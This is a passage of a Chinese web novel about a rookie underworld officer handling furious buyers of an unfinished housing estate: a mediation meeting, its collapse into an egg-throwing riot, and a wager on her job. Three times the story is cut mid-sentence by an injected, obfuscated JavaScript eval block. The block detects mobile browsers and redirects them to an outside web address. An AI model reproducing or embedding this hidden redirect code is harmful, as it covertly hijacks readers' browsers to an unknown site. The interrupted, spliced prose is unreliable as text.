“桃源雅筑,两年前预售的高级小区,均价大概3亿一套,一共320户,按照售房协议,预计一个月后交房。”张松鹤带着她深一脚浅一脚地踩着泥巴路往小区里走,一边介绍道:“当然啦,你看这个样子就知道了,一个月以后肯定交不成房子——烂尾了。” 地府也有烂尾房,这还真不是新鲜事。首先,并不是所有游魂都有家人给他们烧房子下来的;其次,人口虽然没有繁衍,但在流动,每年都有人往大城市跑,他们在原籍的房子当然不会跟过来,所以房地产业在地府也还是很有市场的。 有建造就会有几率烂尾,譬如桃源雅筑这个小区,预售期房时自然吹得天花乱坠,结果半年前资金链断裂,地产商捉襟见肘,没钱给工人开工资,工人自然全都停工了。 若真要比较,桃源雅筑的情况已经算是好的,起码房子是盖完能住的,只是外立面和绿化没有修好。同一地产商开发的桃源小镇,地基刚打好就停工了,更是叫天不应叫地不灵。 然而等到祝平安进到建筑内部时,她决定收回刚刚那句话:才一踏进楼道里,就哗啦啦被水淋了个透心凉…… 抬头一看,大水柱如瀑布喷溅,小水流如涓滴清泉,地面是汪洋大海,空中是细雨绵绵,水从四面八方无孔不入地流下来,这哪是房子,根本就是水帘洞! 张松鹤在她头顶撑起一把伞,祝平安刘海上滴着水,失魂落魄地回望他:“这就是我第一个案子?” “没错,姑娘,挺住。”张松鹤拍拍她的肩膀:“组织上相信你,一定能把这件事圆满解决的,记住,你的任务是不要让业主们去游行示威,酿成群体性事件。我已经约了业主代表,跟我去见见他们吧。” 温尔雅开完会,抱着一大摞需要处理的文件回到自己工位上,就见到祝平安直挺挺地倒在椅子上,眼睛一眨不眨,可把他吓了一跳:“平安,你怎么了?” “……没事,就是头有点疼。”祝平安捂着脸,不知道怎么说刚刚发生的事情。四十多个业主代表群情激奋,老人哭,小孩叫,扬言上告者有之,自杀相胁者有之,磨刀霍霍者有之,口口声声都是要政府给个说法。 这可跟祝平安之前预想的工作情况不一样。经历过与荧惑星君那一战,现在要祝平安上刀山下火海,只要有温尔雅在身边,她都绝不打怵,但面对这些火力全开的老百姓……祝平安真是尾椎发麻,只想转身就跑。 她知道自己的工作是不能让业主们酿成群体性事件,看今天这个架势,一个月后大家住不进满意的房子,是真的会去游行示威的。 可……祝平安觉得,大家的情绪是可以理解的,辛苦工作还贷款,说不定还要亲朋好友支援才买了个房子,结果变成了一个水帘洞,换了她,她也不干。 难道我做差役,是为了帮助地府对付已经无辜受难的老百姓吗?那不成了助纣为虐了,祝平安闷闷地想着,一点也提不起精神,感觉世界观都有点崩塌了。 但在其位谋其政,她还是分派了一下组员们的工作:苗妙妙去搜集一下事件相关信息,龙如烈最近就在现场盯着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说罢,她快快地扫了张松鹤一眼,心里有点忐忑——张松鹤毕竟是上司呀。但张松鹤眉毛都没动一动:“是呀,这就是开发商没有好好履行合同么,老百姓当然要表达自己的诉求了。” “那你又说,我不能让他们酿成群体性事件。”祝平安有点迷茫:“你到底是站哪头的?” “我可是公共安全部的部长,自然是——”张松鹤拉长了声音:“——自然是站在正义的一方了。” “我跟你说正事呢,别开玩笑!”祝平安不高兴了。 “平安,如果你不想做这件事,也可以交给我的。”温尔雅也没怎么动那碗面,担心地瞧着祝平安:“你不想干的事情都给我,你只需要做自己喜欢的事情就好。” 他已经把事情听了个七七八八,不过是一些平民百姓而已,不是什么棘手的活计。只要祝平安点个头,他自然能处理的干干净净,哪怕让这批人从此销声匿迹也没问题。 “这是什么话!工作还能挑肥拣瘦?”张松鹤不屑地道:“你有本事把她的活都包办了,怎么没本事让全世界大和谐,一点坏事都不发生?” “张松鹤说得对,这是我的工作,我得自己学着处理,不能什么都让你来。”祝平安也摇了摇头,“只是感觉一下踏入从没见过的黑暗面了,心里有压力。” “是你想太复杂了,姑娘。”张松鹤吸哩呼噜吃完面条,“谁给了你这种错觉,让你防止出现集体性事件,就是阻碍百姓发声,不站在正义的一方了?” “这是你上班后遇到的第一个考验,别以为愿意为了保护别人而死,就是真正的差役了,你要学的还多着呢。”张松鹤逼着她俩吃完了面就开始赶人,“去吧,回去转转你的小脑瓜,好好想想我说的话。温尔雅,今天晚上你老实值班,不准回家干扰她的思路。” 52. 破局之法 可想而知,温尔雅自然不会老实值班。一想到平安那闷闷不乐的神情,素来稳重的他心里就好像有蚂蚁在咬一样,怎么都坐不住。一过十二点,他就溜出单位,还在街上买了好些点心零食,打算好好安慰安慰平安。 平安果然还没睡,坐在客厅正发呆,见他出现,有点惊讶:“你怎么回来了?不是要值班吗?翘班可不好。” 温尔雅没回答她的问题,只是把手上的点心往前一递:“给你带的,晚上只吃了一碗方便面,饿了吧?” 祝平安本想用组长的身份说他几句,但见他手里还提着一大包零食,一双眼睛定定地望着她,便知道他是担心自己才回来的,想说的话只得咽了回去:“谢谢,以后别这样了啊。” “还想那件事呢?”温尔雅见她不反对,立刻进了厨房找出几个碗盘盛好点心端出来,他审美好心思巧,这样精心一摆,几块连锁店铺买的点心看起来简直成了能端进国宴的高级货。 祝平安却没什么心思吃,但为了不拂逆温尔雅的好意,还是捡起来一块嚼着:“可不是,只是我脑子笨,想不通张松鹤说的那句话。” “不让百姓表达诉求,那我们还能是正义的一方吗?”祝平安絮絮地跟温尔雅说着自己的思绪,“他们有理,我却拦着他们,那我也能叫心系民众吗?” 往沙发后一倒,她眉宇间满是茫然:“温尔雅,你说这跟学校里学的……怎么一点都不一样呢?” 她这份茫然刺痛了温尔雅,让他忍不住想伸手去抚平她的眉头。但刚伸出手去,张松鹤那句“同部门者不得谈恋爱”的告诫就在他耳边响起,不管是为了自己的任务,还是平安的前途,他都不能把事情做的如此明显,他伸出的手转了个方向,从桌上拿起一杯茶,掩饰地喝了起来。 祝平安全没察觉,还是在说她自己的心事:“这种根本性的矛盾根本捂不住的,除非能还他们一个好好的房子,可这件事……我哪有能力去解决呢?我又不会修房子!张松鹤让我动动脑子,但我就是想不出什么好主意嘛!” “你一定行的。”温尔雅只能柔声安慰,“你只是缺乏经验而已,其实不让他们闹起来的方法很多。你听我说,320户人家,有能力带头闹事的只是那么几户而已,你把这几个带头的解决掉,其他人也就作鸟兽散了,根本翻不起什么浪花。” 他把自己的经验教给祝平安:“找到带头的人之后,你要对症下药。胆子小的,吓唬他几句,就能让他们不敢闹事了。若是实在吓唬不住,你就以利动人,所有业主都只想要自家拿到房子而已,别人的房子他们才不在意呢。” “你把这几个带头的人叫来,承诺说优先修复几位的房子,让他们不要闹事;再放出风声给其他人,说是地府已经和带头者达成协议,只要不闹事就给带头的几户交房。相关证据一拿出来,业主联盟自然就会发生内乱,分崩离析。到时候……” 他一下住了嘴,因为他发现祝平安睁大了眼睛,用一种不敢置信的眼光打量他:“你说什么?” 因为过于吃惊,她一时间找不到什么话语来表达自己的内心:“温尔雅,我都快不认识你了,你说的这些……这手段……你从哪里学的?你当真这么想吗?” 心猛地一跳,温尔雅本能地堆上一个笑容:“我随便说说,之前看戏的时候,就有见到过这种计谋,挺好用的。” “你说的那是反派瓦解主角团的阴谋吧!”祝平安隐隐有些不舒服,温尔雅这段话,拉拢分化熟极而流,细节考虑到位,好像是把自己曾做过的事情总结给她一样,让她心里一阵发寒:“照你说的这么做,我成什么人了?人家本来就够倒霉的了,我们还要这样去挑拨离间!” 她有些烦躁地摇了摇头,把手上半块吃剩的点心扔回盘子里:“怪不得张松鹤说不要让你干扰我的思路,本来就够头疼的了,真是……” 咬咬嘴唇,她到底没说什么不好的话:“明天还要去上班,我该睡觉了,你也不要太晚。” 她没再多看温尔雅一眼,起身就走。 自然,她也就没看见,温尔雅的脸上虽然还在笑着,手指却已经把衣角拽成了一团。长长的黑发垂下来,遮住了他大半张脸,桌上的茶水从热气腾腾变得冰凉彻骨,天空从阳光烂漫转为夜色低垂,他始终泥雕木塑般坐在那里,不动不言。 平安……在生气吗? 我只是把我知道的好办法教给她而已,我是哪里做错了? 他垂头回想着今夜种种,好像陷入一个从不曾涉足过的迷宫,看不见的墙壁压过来,令他无措而压抑。 她吃剩的半块桃花酥倒在盘子里,深红的馅料从她咬过的缺口流在磁青的盘子上,像一滴呕出来的心血。他伸手,把那一滴馅料揩掉,又面无表情地舔了一下指尖。 “是甜的。”他迷茫地抬起眼睛,“为什么她不喜欢呢?” 平安倒在自己的床上辗转反侧,直到凌晨才迷迷糊糊地进入一种似睡非睡的状态。 她梦见了许多东西,御剑而来的张松鹤,林间含笑的温尔雅,鞠躬致谢的魏玄成,还有琢玉学院的竹筒自来水、接驳车、市集……许多学员们主办的校园治理工作纷至沓来,最终,画面定格在登闻部举办的“我为学校提建议”活动上。 祝平安猛然打了个激灵,腾地一下从床上坐起来,窗外月上西山,她猛地披衣起床,一笔一划地将自己纷乱的思路写了下来:“民口如川,堵不如疏,游行也只是一种激烈的表达……他们想说,就得让他们说出来,但是要让他们安全的说……表达的方式和地点,都要由我们来决定……” 写着写着,她的思路越发清晰:“以特别行动组为中介,协调住房管理部,在交房前向业主们搜集诉求,全力推动地产商修缮房屋……” 是的,她现在明白张松鹤是什么意思了。防止群体性事件出现,是为了不让百姓选择最激烈的方式去表达,盖因这种表达很可能会酿成拥堵、骚乱、踩踏,危及其他无辜者。 但这不是一种“非正义”,不意味着要堵住百姓的嘴,而是要给大家的情绪找到安全的出口,让一个快要垮塌的水坝泄洪。 温尔雅有一句话说的没错,大家只是想让自家拿到房子而已。身为差役,为了保护大家而死不算本事,她最应该做的,是利用好自己现在的身份,帮助大家搭建起安全的表达渠道,让地产商直面问题,尽快修缮好房屋,让大家得到公道! 她把写好的文件往兜里一揣,只觉心情畅爽,若非还有点自制力,忍不住就要纵声长啸。她迅速地洗漱完,脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837521|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步轻快地向大门外走去,路过客厅时,忍不住大吃一惊。 温尔雅居然还坐在沙发上,一动不动,笑容呆滞,两眼无神,整个人面色枯槁,竟好像是在沙发上坐了一夜的样子。她忍不住上前拍拍他的肩膀:“你怎么啦?你昨天没睡觉吗?” 感受到她手掌的温度,温尔雅这才一动,漂亮的眼皮一眨,似乎从什么噩梦里醒过来一样,泛上一个淡笑:“没,昨天也睡了几小时的,中途醒了一次就睡不着了,于是干脆到楼下坐会儿。到上班时间了吗?我们走吧?” 他一边说话,一边小心翼翼地观察祝平安的神色,生怕她还在为昨天的事情不高兴。可祝平安现在心情正好,早把昨天的事情忘到九霄云外去了,也没听出温尔雅试探之意:“好啊!你快去洗把脸,我在门口等你!” 一刹那,春风再临,草木还青,温尔雅脸上的笑容瞬间灿烂起来,明艳之态让祝平安都忍不住呆了一下:“好啊!我马上就来!” 满面春风的两个人进了单位,祝平安立马就冲去找张松鹤,把自己的想法说了一遍。张松鹤翻阅着她的方案,欣赏一笑:“好啊,不愧是你,转弯转的很快嘛。” 他看着这些文字,虽然略显生涩,但她无疑走在一条正道上,思路对了,只要稍微带着她熟悉一下办事流程,就能放手让她去做了。 张松鹤立刻觉得浑身的担子轻了一半,看平安更是十分满意,他把方案留下,貌似无意地问:“这东西是自己想出来的?昨天温尔雅没给你提什么建议吧?” 祝平安刚想说有,突然想起昨天温尔雅是翘班回来的,不能让张松鹤知道,一时间张口结舌,不知道该怎么说。张松鹤看她这副样子,心里就有数了,也不欲为难她,便摆摆手放行了:“叫温尔雅过来找我,有份文件让他写。” 温尔雅一进门,张松鹤就看见了他两眼的血丝:“昨天还是回去了?” 温尔雅微微一笑,却不回答。张松鹤也不愿多说,把祝平安写的文件推了过去:“好好地看看这个,按照里面的意思,起草成正式的公函,给住房管理部、业主代表会和桃源地产各发一份。” 温尔雅拿过来翻阅一下,认出了那熟悉的字迹。张松鹤嘴角噙着一丝讽刺的微笑:“看清楚了?” “温副组长,我知道你是一个很聪明的人,但你的那一套,并不是到哪里都合适。” 看着温尔雅逐渐转白的脸色,张松鹤怜悯地摇了摇头:“我昨天已经告诫过你了,但看来你并没有听进去。平安知道自己现在是谁,应该怎么做,你呢?你知道吗?” 他站起身,推门走了出去,在两人擦身而过的时候,冷漠地扔下了一句话:“见不得光的东西,是为了那些见不得光的人准备的,不是为了老百姓准备的。你把自己当成什么我管不着,但是,我的部门不是黑牢,平安也不是下三滥,不该出现的东西,你就收起来,别污染了平安。” 温尔雅的嘴唇几乎咬出了血,但他终究还是把这份情绪很好的掩藏了起来,对着张松鹤恭谨地点了一下头,拿起文件,转身走了出去。 无论温尔雅心里怎么想,他办事还是非常快的,两天后,祝平安收到了各方决定参会的回函,第一届桃园雅筑交房工作推进会就这样如火如荼地展开了。 53.交房工作推进会 会议就在公共安全部的大会议室召开,住房管理部派出了质量安全处的人来参会,处长叫万柏,是个五十出头的中年人,虽然头上已经有些花白,但走路速度依然很快,瞧着颇为精干。温尔雅要给他上茶水,他还摆手不用:“白开水就行,不爱喝那苦俨俨的东西。” 与会的业主代表是公共安全部开着大巴接来的,地府大巴稀少,租金颇贵,幸好公共安全部有自己的公务大巴车,否则这笔经费还真不知道去哪里掏。 下来的业主一个个怒气腾腾,最末尾下车的几个小年轻提着大包,包里还露出着几卷横幅,祝平安暗暗猜想上面写的八成是“还我血汗钱”之类的话。 桃源地产派来参会的则是负责开发桃源雅筑的项目经理,名叫薛良。这位薛良经理进来的时候,差点被门卫拦下来,原因无他,穿的简直像个流浪汉一样,身上衣服又旧又破,都是尘灰,还是他出示了公函才被放行。 等大家都进了大会议室,屋里简直成了大市场,业主们吵吵嚷嚷说什么的都有,有的业主一进来就开始哭,还有往地上坐的,拉都拉不起来。 会议还没开始,场面好像就有点控制不住了……祝平安急的满头大汗,她还是想的不周到,一口气把四十个业主代表都叫了来,这群人心里揣着一团火气,人多势众,哪能听她摆布?一时间向百灵拉了这个劝那个,闹得灰头土脸。龙如烈在台上把桌面都要敲破了,这才让大家肃静下来坐好。 温尔雅主持会议,他姿容绝世,亲切随和,会议的前半部分也没有什么乱子。祝平安作为特别行动组长讲话,表态一定会积极协调,帮助业主解决问题;万柏处长也不落人后,讲了一通为鬼民服务的发言,业主们都还算满意。等到了业主代表与地产方对话的时间,场面可就没那么好看了,业主们争先恐后地发言,问题就像是机关枪一样劈头盖脸而来: “我是桃园小区320户业主代表,我姓高。地府的表态我们已经看到了,那么请问桃源地产,你们什么时候能够复工呢?”这位高小姐明显素质高些,口气还算是冷静。 “我就问一句,一个月之后房子能不能修好?要是修不好怎么办?你们赔不赔钱?怎么赔钱?”这是懒得客套,直接一针见血的。 “屋里到处漏水!地板也是空鼓的!廊灯歪歪扭扭,墙上涂得都不能叫油漆,一摸直掉渣!照片我都带来了,没一个字是诬陷!我就问你们还有良心吗?这房子给你你住不住!”这是已经做了详细调查,兴师问罪的。 “太不要脸了你们!祖宗十八代生儿子没□□!”还有直接破口大骂的。 “大家冷静!从第一位开始轮流发言,一个一个说!”温尔雅起初劝慰了几句,但业主们一张嘴就停不下来了,谁还把他当回事,他不得不把话筒音量开到最大,最终扯着嗓子喊了几遍才抑制住大家。 “我来一个一个回答大家的问题吧。”薛良听完大家的问题,擦着汗站了起来。 “首先,因为桃源地产经营不善,造成了大家的困扰,我仅代表地产公司向大家致以诚挚的歉意。”说罢,他一鞠到地,台下业主嗤之以鼻:“谁要你这虚头巴脑的!说正事!” “大家反馈的内容,我已经全部如实的记录下来了,但兹事体大,我也不能做主,需要回去询问上级领导才能决定。” “不能做主你来干什么来了?耍我们是不是?真当我们这四十多人闲着没事干啊!”一个大汉站起来,指着薛良的鼻子就开骂。 “就是!套话不用说了,今天就给我们一个准话,一个月之后房子能不能修好!”其他业主纷纷帮腔。 “各位业主,你们的心情我都理解,但是我们公司资金实在有困难,钱都投在其他的项目里回不来,我们就是有心修,但没有钱,很难请得到工人啊!” 薛良一脸为难至极的表情:“各位,我是桃源雅筑的项目负责人,我对项目也很有感情,这儿的一砖一瓦都是我看着搭起来的,现在弄得这个样子,我心里难道就好受?” “为了这个项目能复工,我也不知想了多少办法。”薛良一边说,一边也动了感情,眼泪都下来了:“我每天在公司,跟在领导屁股后面低声下气,我说领导求求你了,桃源雅筑马上就要交房了,这个项目需要的资金不多,咱们就努努力,总得对业主负责吧?” “各位,我是求爷爷告奶奶,但是桃源地产是真没钱了呀,这六个月别说工人没工资,我都没有工资!半年没发钱,你们看看我这身上,穿成这样我都不好意思出门!世事无常,三灾六难的谁遇不上?地产公司是真有难处,咱们互相担待些吧!” 台下的业主们就露出些犹疑的表情了,站起来的大汉也坐下了。 薛良一擦眼泪,诚挚无比地道:“大家放心,今天住房管理部的人也都在这呢,就让他们做个见证,我回去一定再跟领导好好说说,这次有官府的人出面,我相信地产公司一定会重视大家的问题的!” 他向着大家一抱拳,团团作揖,一副可怜样子。业主们虽然发出不满的嗡嗡声,但对着这么一个想办法解决问题的经理,也很难说出什么指责的话了。 温尔雅见大家没有异议,就要宣布会议结束,猛可里却响起一声高叫,打断了温尔雅的话。 “你放屁!”一个穿的非常时髦的青年男子站了起来,指着薛良大喝道:“真会演戏啊你,差点就被你骗过去!大家看看,他左手腕上是什么?上个月新出的劳力士!我也刚刚买了同款,看着虽说不起眼,但是起码值得这个数!” 男子比划出两个手指头:“两千万不打折!你不是半年没工资了吗?没钱还舍得买劳力士啊?摆明了刚才都是骗我们的!大伙儿别上当,今天绝不能放过他!” 薛良一番做作,本以为可以敷衍过去,想不到半路杀出个程咬金,暗叫一声命苦。他本想过来哭穷,便跟公司的保洁借了一身最旧最脏的衣服,但别人的衣服毕竟不合身,袖子短了一截,刚刚一抱拳,把手腕上的名表给露了出来,这下可糟糕了。 他在台上支支吾吾,摆明是给说中了,台下业主哗然,更加怒不可遏起来:“好啊!满嘴跑火车的骗子!” “还开会呢!就是浪费时间!跟这些骗子有什么好说的!反正他们就只会敷衍我们!” “官商勾结,黑暗的没边了!别让他们跑了!” 祝平安看形势不好了,立刻站起来试图控制场面。还没等她说话,一个物事就从台下飞上来,啪一下精准地在祝平安脸上开了花。 温尔雅还想去拦,但刚站起来,头上就也吃了一记,黄黄绿绿的恶臭液体顺着他乌黑长发淌下来,还沾了半片鸡蛋壳。 台下,气急了的业主们已经不管这是哪里了,几个年轻小伙子打开大包,里面装了一大堆臭鸡蛋,业主们抄起这些臭蛋,劈头盖脸地就往台上扔,打的薛良抱头鼠窜。祝平安、万柏等人也未能幸免,头上、身上,很快就沾满了恶臭的蛋液。 几个业主怒气难平,还想翻上台去打薛良,祝平安慌忙起来去拦,没注意脚下踩在一滩蛋液上,仰面摔了个四脚朝天,后脑勺肿起一个大包。温尔雅等人连忙来扶,打算先撤出会议室再说,却被激动的业主守住门口,口口声声不叫他们出去…… 好家伙,就为了防止群体性事件才开了这么一个会,结果先酿成了群体性事件……祝平安一时间真是心力交瘁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“杜元都跟我说了。”张松鹤远远站在门口没走进去——实在没有下脚的地方。“你不给我个解释吗?” “对不起。”祝平安闷闷道:“是我做事情欠考虑,好多细节都没考虑到,才导致今天的事件。” “你不是对不起我,你是对不起那些业主们。”张松鹤摇摇头,“你又浪费了他们好几天时间。” 祝平安嘴巴一撇,这次是真的想哭了,张松鹤看她那样子,叹了口气,到底还是走进来。 他从身后拿出水桶和拖把:“算啦,我也有不对,没想到你是第一次办这种会议,细节上太欠考虑。跟群众打交道就这样,惹一身骚是常事,别哭了,一块把这里擦一擦吧。” 他对自己的正副组长本来是很放心的,祝平安掌舵大方向,会议议程这种细节自然有温尔雅为她参赞,两人搭档应该不会出什么问题。 然而他究竟是失算了。他忘记了,温尔雅的经验只适合拿来应对所谓的上流人士,那些就算在台下斗的你死我活,也不会轻易撕破脸皮的人。 温尔雅也没这样直面过平民百姓,不懂得跟他们打交道的关窍……在这方面,他跟祝平安一样,是不折不扣的新手。 地上的鸡蛋液都干了,有些部分用拖把已经搞不定了,只能跪在地上用手一点点扣。祝平安三人正在地上吭哧吭哧干活的时候,一张掩不住得意的脸飘然进了屋子:“哎呦,一股什么味呀?” 徐副部长捂住鼻子,换出一幅严肃的表情,大声地批评起来了:“祝组长,这可不是我要批评你,是你太不像话了!怎么这么粗心大意,对自己、对同事、对群众一点都不负责!住房管理部的同事回去之后,要怎么说我们?幸好今天只是些臭鸡蛋,若是人家拿了刀子来,你怎么收场?” 这番话他是占足了理,连张松鹤也不好说什么的。徐副部长得理不饶人,扬眉吐气地把祝平安训了半个时辰,最终才道:“才工作了半个月,就闹出重大事故。根据《人员管理条例》,必须召开部门大会,好好地讨论一下对你的处罚!祝组长,准备明天做检讨吧!” 54.军令状 三个人忙到半夜,才把屋子清理干净,只是那浓浓的臭鸡蛋味一时半会儿是散不掉的了,总要通风四五天才行。 第二天,祝平安就在这浓浓的臭鸡蛋味里,对着全体部门成员做了检讨:“我的错误有三:第一,没有仔细审查地产公司代表的背景,让不合适的言论出现在会上,引发了众怒。 第二,我应该控制会议规模,不应当将多个业主代表一块请来,反而阻碍了会议议程。 第三,我没有做好会场安保工作,使得后期场面无法控制。我已经深刻的认识到自己的错误,给大家造成不便,还请谅解。此后我一定会改正,请各位领导同事监督。” “下面我来说几句。”徐副部长等她一说完,立刻接过了话筒:“首先,我觉得祝组长你检讨的不真诚,避重就轻,根本没有把你犯的错误一五一十的讲出来。昨天的事情,用场面失控来描述也太含糊了,分明是一场骚乱!” 他一开口,就把祝平安的错误定了个高调:“第二,你能力不足,没有做好准备工作,没有完善应急预案;第三,你毫不谦虚,不把领导同事放在眼里,没有虚心请教大家,也没有让领导为你把关……” 他一口气儿数落了祝平安十条大罪,恨不得连今天喝的茶水凉了都是祝平安的错,四十分钟后,他可算给自己的话结了尾: “……像你这样的人,是如何通过筛选成为差役的?根据《人员管理条例》第十一条,差役玩忽职守,酿成重大安全事故的,当以渎职罪论处,移交司法部。” 这个惩罚可是太重了,祝平安脸色瞬间变得惨白,其他同事也是议论纷纷。 白子欣也在台下站着,听到这话,故意在台下道:“有没有搞错?昨天虽然闹的难看,但又没有闹出人命,只是弄坏了两张椅子而已,渎职罪也太扯了吧。” “这不妥吧?”果然,张松鹤出言反对了,“认定为渎职罪,必须要致人死亡,或者多人重伤,两项条件都不符合,怎能认定为渎职罪?” “是不是渎职罪,需要司法部来调查,我们这里只负责移交嫌疑人。”徐副部长针锋相对,立刻把祝平安打到嫌疑人序列了,“我作为负责部门人事工作的领导,认为她不适合再担任组长职务,最好今天下午就移交到司法部,若是司法部不认为是渎职罪,再让她回来不迟。” 去了司法部的人,哪里还回的来?即使是回来,也有了大大的污点,以后平安怎么跟同僚交际,怎么开展工作?徐副部长用心何其毒也,一出手就要绝了平安的路! 温尔雅嘴唇蠕动,但现在他人微言轻,不适合为平安说话,只得将眼神投向张松鹤。 “怎么就要移交嫌疑人了?”张松鹤一步不让,“祝平安出发点是好的,万万有罪,罪在朕躬。她是一个新同事,都是我没有培训到位,才让她闹出乱子。徐副部长你一定要追究责任的话,也应该是我负主要领导责任!” 徐副部长就等着他这句话:“张部长何必如此袒护她?谁不知道,她是您最心爱的——”他恶意地拖长了音调,半晌才接着说道:“——学生。她能进来当组长,也是你一手提拔,但私情不能大过规矩,我们是公共安全部的差役,怎能带头搞这些不正之风?” 祝平安的脸腾一下红了,这次是气的。这话说的真难听,好像她能过来工作,都是因为张松鹤那什么她了一样。她忍不住就想要大声反驳,但张松鹤对她摇摇头,她只好闭嘴继续乖乖站好。 四下都有了一些轻轻的议论声,白子欣虽然尽力在台下辩驳,但大多数人都是俗人,最热衷这种捕风捉影的事情,加之张松鹤对祝平安多有提携,大家都看在眼里,徐副部长这个说法不是没有市场。 眼看着风向越来越歪,温尔雅急的直跺脚,恨不能上台把张松鹤推下去,自己来跟徐副部长斗嘴。 张松鹤冷眼看着台下声浪发酵地越来越大,这才轻咳一声:“徐副部长,若你想指责我跟祝组长有私情,请你拿出证据,若是拿不出来,就是随意构陷、侮辱公职人员,小心自己先被送去司法部。” 他转向台下:“各位,大家都是从新人期间走过来的,不犯错误还能叫新人吗?祝组长敢想敢干,作为前辈,我们应该包容她,给她一个机会。若是抓着人家的把柄不放,斤斤计较,那还有什么心胸可言?还如何培养新生力量呢?” “张部长说的好轻巧!”徐副部长冷笑,“一个培养新生力量,就能把错误轻轻揭过了?今天给她一个机会,明天给我一个机会,那么规矩何在!” “规矩自然是要有的。”张松鹤居然很是认可般地点了点头,“这样吧,我来为祝平安作保,徐副部长觉得如何?” “祝组长需要立个军令状,一个月之内,必须要圆满解决桃源雅筑的案件,给业主一个交代。若是她做到了,就是将功补过,旧事不提。” “若是她完不成,那就一总算账,开除公职。我负领导责任,也跟着她一块卷铺盖滚蛋!”张松鹤直视徐副部长:“徐副部长,您觉得这样算是有规矩了吗?” 话赶话的,怎么就说到这一步了!祝平安根本都不知道这一切是怎么发生的。她惊骇地看着张松鹤的脸,但看他脸色淡然,没有一点开玩笑的意思。 徐副部长脸上的狂喜一闪而过,脸上却还是装模作样的:“您言重了,这话让我怎么接呢?” 张松鹤毫不理会他,转头盯住了祝平安:“祝组长,这个军令状,你敢立吗?” 他的眼睛又黑又亮,里面流淌着毫无保留的信任。 她曾经见过这样的神色,在她还没有考上琢玉学院之前,他就用这种眼神瞧过她。时间变了,地点变了,身份变了,可他的信任从不改变,即使他押上的是自己部长的位子,也不值得他多眨一下眼睛。 可是……她呢?她是个什么货色,昨天还闹了一场大乌龙!她能承担的起他的信任吗?她敢承担起他的信任吗? 有什么人在看着她,她的目光往下一瞥,看到了温尔雅,他正满腔焦急对她使眼色。这样的眼神她也见过,在她背负着他与荧惑星君作战时,他就是这样,遇到困难时,担心地恨不得让她快跑掉…… 而她的答案,当时不变,现在,更加不会变。 “我敢。”愤怒和担心都消失了,跟备考时、对战荧惑星君时一样,一股子破釜沉舟的劲头又回到了她身上。她倔强地昂起头来:“若是一个月后我完成不了任务,任凭徐副部长处置。” “好!既然祝组长有这个决心,那我也不好多说什么了。”徐副部长端起杯子悠闲地吹了一口气,“对你的处置暂时押后,咱们就一个月后见分晓吧。” 会议散场,大家纷纷离去,白子欣本想留下,但当着徐副部长的面,于处长还是把他拉走了。 祝平安没有再问“你为什么信任我”这样的问题,那是浪费时间。而她能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848416|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证明自己一次,就能证明自己两次,现在她要做的只有一件事,那就是全力集中在工作上。 张松鹤亦没有多说一句,两人眼神一对,竟是同时默契地抬脚就走,完全忘记了温尔雅就在身后…… 温尔雅望着两人远去的身影,只觉得那种透明的迷宫再次出现了。明明只是三尺之遥,却仿佛远隔关山。他发现自己跟祝平安之间似乎永远有着一层隔膜,她笑的亲切,待他也好,但……她跟他之间永远不会有这种默契自然的感觉。 相反的是,她和张松鹤却仿佛是心有灵犀一般,这是为什么?为什么为什么为什么! 祝平安走到门口,发现温尔雅还在后面傻站,连忙招呼:“愣着干什么呀?快过来开工作会!” 强压下心中那莫名的恐惧,温尔雅勉强一笑,跟在她身后。这一切都不对劲,他现在不能去想它……起码要帮平安把眼前这一关趟过去再说。 苗妙妙捧着一大摞情报,为大家讲解:“已经查过了,桃源地产确实资金出了问题。他们寄予厚望的桃源仙府项目销售不如预期,资金一下捉襟见肘,桃源雅筑、桃源小镇这些小项目都已经停工。” 她顿了顿,又道:“这个薛良,也算是个精英吧,人非常聪明,给桃源地产立下过不少功劳。但他能升到高管,主要还是因为做了桃源地产老板的妹夫,否则也不可能负责这么大一个项目的开发。我去查了他的银行流水,虽然公司不行了,但每个月他拿到的工资还是很丰厚的。不过奇怪的是,我没有找到他购买劳力士的记录。” “也就是说,那块表是别人送给他的?谁会送他这么贵的东西?”祝平安不禁疑惑了:“他的社会关系有查到吗?” “他家里人口挺简单的,只有妻子和两个女儿,朋友也不多,主要交际圈子就是下属和客户。若是之前桃源地产蒸蒸日上的时候,这些人也许会送点重礼给他,但现在嘛……我想没有什么人那么傻。”苗妙妙翻翻卷宗回应道。 “这个人的资金肯定有问题,但一时还找不出来,会后问问刑侦吧。那业主们呢?你有查到什么吗?”张松鹤询问道。 